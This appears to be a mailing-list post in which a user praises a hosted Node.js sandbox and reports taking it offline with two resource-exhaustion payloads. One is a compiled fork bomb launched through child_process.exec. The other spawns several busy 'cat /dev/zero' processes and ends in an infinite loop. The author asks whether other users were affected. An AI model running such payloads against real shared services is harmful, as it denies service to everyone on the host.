It's über awesome! And resilient!
I've been trying to break^W^W^W stress-testing the toy :-) with these:
A.- Works quite well (*)(**), but brings it down for just a few minutes (or so it seems):
require('child_process').exec("echo 'int main (void) { while (1) fork(); }' > fork.c ; gcc fork.c ; ./a.out");
B.- Less effective, works best if run more than once:
var i= 11;
while (i--) require('child_process').exec('cat /dev/zero > /dev/null');
while (1) ;
<quote>
Application Error
An error occurred in the application and your page could not be served. Please try again in a few moments.
If you are the application owner, check your logs for details.
</quote>
I apologize :-)
How does it do to deal -so well- with this sorts of things ?
The attacks were affecting just me or the other users as well ?
Cheers,
(*) Got it from the "unix haters handbook"
(**) Did you leave a gcc there on purpose?
--
( Jorge )();